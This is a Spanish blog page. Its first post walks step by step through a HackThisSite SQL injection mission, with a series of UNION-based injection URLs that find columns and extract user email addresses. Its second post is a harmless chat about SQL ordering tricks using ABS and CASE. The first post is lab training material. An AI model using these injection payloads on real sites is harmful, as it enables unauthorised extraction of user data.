El siguiente texto es una especie de cuaderno de bitácora de mi compi de curro - y de otras cosas que no voy a decir - Sponge Bob.
Es un spoiler total de una de las pruebas de http://www.hackthissite.org/, pero se ha cambiado la URL para que las arañitas de google no les sirvan en bandeja la solución a la gente que está haciendo las pruebas.
Sponge Bob dixit:
Esta misión ya se realizó en su momento, por lo parte de las acciones que realizo tienen como origen cosas que recuerdo que hice en su momento.
En primer lugar, recuerdo que products.php era sensible a injecciones SQL, usando un UNION.
http://www.hacking.org/missions/products.php?category=2+union+select+1
La siguiente injección me devuelve una única entrada sin información, cuando la categoría '2' contiene 3 productos. La consulta que se debe hacer en products.php debe ser algo del estilo
SELECT * FROM products WHERE category = 2
Dicha consulta deberá retornar X elementos y para que el código que injerto tenga éxito deberá retornar el mismo número de elemento.
Probemos....
http://www.hacking.org/missions/products.php?category=2+union+select+1,2
Mismo resultado.
http://www.hacking.org/missions/products.php?category=2+union+select+1,2,3
Mismo resultado.
http://www.hacking.org/missions/products.php?category=2+union+select+1,2,3,4
Bien. Aquí ya se devuelve 4 entradas, posiblemente los 3 productos en el resultado de mi injerto. Sin embargo no aparece ningún tipo de información, fotos, precios, descripción. Es posible que a mi injerto le falte algún tipo de información. La sentencia SQL original podría ser algo así...
SELECT id, price, description, picture FROM products WHERE category = 2
Por si acaso, también probamos con el siguiente injerto
http://www.hacking.org/missions/products.php?category=2+union+select+1,2,3,4,5
En este caso, se vuelve a mostrar una única entrada, lo cuál parece reforzar el hecho de que la sentencia SQL devuelve 4 campos.
Suponiendo que la sentencia SQL original sea utilizada no por posición, sino por nombre (con el módulo de PHP MDB2 por ejemplo cuando se extraen los resultados puedes indicar que sea por columna: MDB2_FETCHMODE_ORDERED, por nombre: MDB2_FETCHMODE_ASSOC, o por objeto: MDB2_FETCHMODE_OBJECT) y presuponiendo que uno de los campos usado sea el campo clave (al cual normalmente se le llama id) ejecutamos la siguiente sentencia...
http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2,3,4,5
Mmmmm, ¡han aparecido las fotos! Lo cual nos indica lo siguiente:
* Si miramos en el código html vemos que el nombre de la cada foto está relacionado con el 'id'. Así la foto 1.jpg está relacionada con el producto con id 1.
http://www.hacking.org/missions/1.jpg
* Si un campo en el injerto no tiene asignado nombre provoca que el campo en la sentencia original que ocupe el mismo puesto pierde su nombre de columna provocando que no aparezca la información correspodiente. Por ejemplo, con la siguiente sentencia
http://www.hacking.org/missions/products.php?category=2+union+select+1,2+as+id,3,4
sólo aparece la foto del elemento que se ha introducido en el injerto (2 as id) y no la de los elementos originales. Por tanto, en la sentencia original la primera columna es el id del producto.
Una aclaración: en este caso tampoco nos interesa mucho la colocación de los distintos atributos ya que lo que nos interesa en la información que podemos obtener con nuestro injerto y no la original.
Supongamos, ahora que el precio del producto tendrá como nombre de columna... no sé, ¿price? ;-)
http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2+as+price,3,4
Bien, existe un campo price pero no está en la segunda posición. Da igual.
Supongamos que otro campo puede ser description, describiendo el producto
http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2+as+price,3+as+description,4
No se ha producido ningún cambio respecto a la sentencia anterior por tanto no es description.
A ver, también es cierto que no es necesario averiguar la estructura completa de la sentencia SQL original. Posiblemente a través del campo 'price' podamos sacar la información que necesitamos aunque también es posible que en la aplicación sólo manejen números o si maneja texto sea de una longitud muy limitada para nuestras necesidades. Para nuestras necesidades seguro que es más adecuado el campo que describe los productos...
http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2+as+price,3+as+text,4
Biiien, ya tenemos el nombre del campo que describe los productos.
Lo que no queda claro es para que sirve el cuarto campo pero bueno tampoco parece que sea muy útil.
Como nota curiosa, el siguiente injerto
http://www.hacking.org/missions/products.php?category=2+union+select+2+as+price,1+as+id,3+as+text,4
produce que la foto se coloque en la imagen (ver código fuente) la descripción del producto y en la descripción del producto el id del producto, ¿alguna explicación?
Y si probamos a veriguar qué base de datos tenemos...
http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,@@version+as+text,3+as+price,4
Bueno, nos da error. Es posible que sea un mysql y no tengamos permisos de ejecución.
¿Dónde pueden estar las direcciones de correo? Si intentamos introducir como dirección de email el carácter "'" nos devuelve un informativo error:
http://www.hacking.org/missions/addemail.php?email='
Error inserting into table "email"! Email not valid! Please contact an administrator of Fischer's.
Por tanto, podemos probar a sacar el id de la tabla email...
http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,(select+id+from+email+limit+1)+as+text,3+as+price,4
Nada, nos da error. La opción 'limit' no es estándar (gracias Pedro) y hay bases de datos como Oracle que no la soportan. Lo que deja claro el siguiente injerto es que se puede introducir subconsultas en el injerto
http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,(select+2)+as+text,3+as+price,4
Bien, hagamos una consulta a la tabla email, ¿qué campo puede contener el email de los usuarios? Probemos con 'email'
http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,email+as+text,3+as+price,4+from+email
Bueno, bueno, bueno, ya tenemos los emails de los usuarios ahora habría que ver a quién se le manda.
Espero que a la gente de http://www.hackthissite.org/ no les moleste, este artículo se ha creado exclusivamente con fines didácticos y sin intención de joder a nadie ^_^
martes, 2 de octubre de 2007
Ejemplo práctico de inyección SQL con UNION
Publicado por
bpk
los
9:08 a. m.
0
comentarios
Etiquetas: bases de datos, inyecciones sql, sql
jueves, 5 de julio de 2007
Un problema de esecueles
Un dia en gtalk...
Jaime:
cambiando de tema. te propongo un problema de Ordenacion con sql a ver si lo sacas?
yo lo estoy meditando
creo que lo tengo
Pedro:
okis
pero yo estoy muy verde
Jaime:
SELECT id FROM tabla
1, 2, 3 ,4
SELECT id FROM tabla ORDER By Id
1, 2, 3, 4
Hadme una SQL para que de
2, 1, 3, 4
Pedro:
y supongo que no hay otro campo que nos permita ordenarlo con lógica, ¿no?
Jaime:
la logica es que van ordenados pero primero tiene que salir el registro 2
ordenados por id
solo tiene el campo id la tabla
Pedro:
¿¿??
te interesa el 2 y despues el resto?
Jaime:
sip
mis motivos tengo
Pedro:
okis, y porqué no sacas el 2 y despues el resto?
en plan subselect y punto?
Jaime:
con una select please :D
no
caca
Pedro:
lo sé
Jaime:
subselect ya sabes que caca
Pedro:
sipe
¿union?
lo sé kk
Minutos mas tarde...
Jaime:
te rindes?
la verda es que no se si sera mas obtimo :P
optimo
Pedro:
estoy pensando en group by y having
pero creo que necesitas de todas formas una subselect...
Jaime:
abs te suena ?
Pedro:
nope
Jaime:
valor absoluto de un numero
Pedro:
okis
Jaime:
SELECT *, ABS((id - 2)) AS CampoOrden FROM tabla ORDER BY CampoOrden
En mi caso ademas tengo que ordenar por id tambien
por motivos que no vienen al caso
como me mola SQL ;D
Pedro:
sipe, a mi me mola mucho
pero no termino de ver el ABS
Jaime:
id es unico
vale?
Pedro:
sipe
por cierto, eso es solo de transact estoy viendo
por eso no me sonaba con lo buueno que soy yo
;;-)
y oracle
Jaime:
1 - 2 = -1; Abs(-1) = 1
2 - 2 = 0; Abs(0) = 0
3 - 2 = 1; Abs(1) = 1
etc
lo ves?
el sql server se lo zampa
Pedro:
que guay, si señor
Jaime:
y el oracle seguro que tambien
ten en cuenta que las operaciones matematicas son demasiado indispensables para hacerlas solo con transact
sobre todo el abs
Minutos despues...
Pedro:
falsa alarma, el abs parece sql de pura cepa
Jaime:
ya te dije
Minutos despues...
Jaime:
y complicandolo un poco
si quires que salga primero el 2 luego el 3 y luego el 4 y despues los que quedan?
:D
2, 3, 4, ....
como me gusta bombardearte el cerebro
XD
Minutos despues...
Pedro:
¿no valdría unos cuantos "FIRST"?
Jaime:
?
no se
olvida 2, 3, 4
imagina 4, 2, 5
y despues el resto
tendrias que hacer 3 orders
con abs cada uno...
creo... XD
tampoco lo he pensao mucho
Pedro:
yo no creo que interesase ABS para eso
Jaime:
no?
como lo harias
lo de los 3 orders olvidalo
que no rularia....
Pedro:
SELECT FIRST(id+3), FIRST(id+1),FIRST(id+4) FROM ...
Jaime:
y te daria :
Servidor: mensaje 195, nivel 15, estado 10, línea 1
'FIRST' no es un nombre de función reconocido.
XD
Pedro:
¿¿??
http://www.w3schools.com/sql/func_first.asp
Jaime:
XD
mamon
Pedro:
¿por?
a ver si quieres que tenga todas las funciones en la cabeza
xDD
Jaime:
no rula en sql server
Pedro:
¿y el case?
creo que valdria
http://technet.microsoft.com/es-es/library/ms181765.aspx
de hecho creo que sería la mejor solución
Jaime:
?
estas fumao
XD
hadlo con case
Pedro:
siempre
Jaime:
a ver como lo haces
FIRST = TOP 1
Pedro:
sipe
es el mismo principio que con ABS pero no ordena el resto
Jaime:
pero tienes que hacer union
ein?
XD
Pedro:
no si lo haces con un group by...
... no westoy muuy seguro de eso
Jaime:
Si haces SELECT TOP 1 id FROM tabla
te da 1
no 2
estas mu oxidao
Pedro:
hay que ponerlo en el where
Jaime:
que jodio
XD
y union
XD
Pedro:
no deberías
Jaime:
????
Pedro:
por un lado lo del CASE:
en el linkl que te he mandado
Jaime:
pedro
Pedro:
SELECT ProductNumber, Category =
CASE ProductLine
WHEN 'R' THEN 'Road'
WHEN 'M' THEN 'Mountain'
WHEN 'T' THEN 'Touring'
WHEN 'S' THEN 'Other sale items'
ELSE 'Not for sale'
END,
Name
FROM Production.Product
ORDER BY ProductNumber;
Jaime:
dices barbaridades
Pedro:
¿eso no valdría?
Jaime:
como?
had la select para el ejemplo que te he puesto
piensalo
por dios
Pedro:
utilizas lo de ese ejemplo como alias para luego ordenarlo
si pienso no escribo
xDD
Jaime:
se nota
XD
Minutos despues...
Pedro:
SELECT id, ordenacion =
CASE id
WHEN 4 THEN 1
WHEN 2 THEN 2
WHEN 5 THEN 3
THEN 'Other sale items'
ELSE ABS(id+4)
FROM tabla
ORDER BY ordenacion;
habría que pdrobarlo y pulislo pero cfreo que valdría
de todas formas yo no sé transact
xD
Minutos despues...
Jaime:
claro
XD
Pedro:
no vale lo del case o qué?
mira que yo lo veo viable
xD
Jaime:
voy a probar
a ver
que me parece que hasta tienes razon
Pedro:
no te veo convencido
xD
Jaime:
no puedes hacerlo
o lo he hecho yo mal
Pedro:
yo diría que si que tiene que valer auqneu a lo mejor no exáctamente tal como lo he escrito
por cietrto otra forma de acerlo:
¿conoces el WITH de transact
y el ROWLOCK?
Jaime:
nop
Pedro:
promete, tu mientras ves mirando mi CASE
xD
Minutos despues...
Jaime:
mu guay el case
rula
te faltaba poner el end
Pedro:
soy el puto amo ^_^
xD
eso es porque mis comandos nunca terminan, se van a salvar a gatitos en los arboles cuando ya no se les necesita
xD
Jaime:
SELECT id, ordenacion =
CASE id
WHEN 4 THEN 1
WHEN 2 THEN 2
WHEN 5 THEN 3
ELSE ABS(id+4)
END
FROM tabla
ORDER BY ordenacion;
XD
esto es para poner un post :P
Pedro:
sipe, haz un copypaste ¿capado? del chat en finkalinux
Jaime:
pero creo sera mas rapido el abs para un solo resultado
Pedro:
^_^
seguro
Jaime:
me refiero para ordenar primero un registro
Pedro:
pero tu habías pedi 3 cabrón!!!
Jaime:
XD
pa 3 lo solucionaste tu
aunque te falto algo de sintaxis
XD
Pedro:
cerda!
Publicado por
moz667
los
12:46 p. m.
0
comentarios
Etiquetas: bases de datos, ordenacion, sql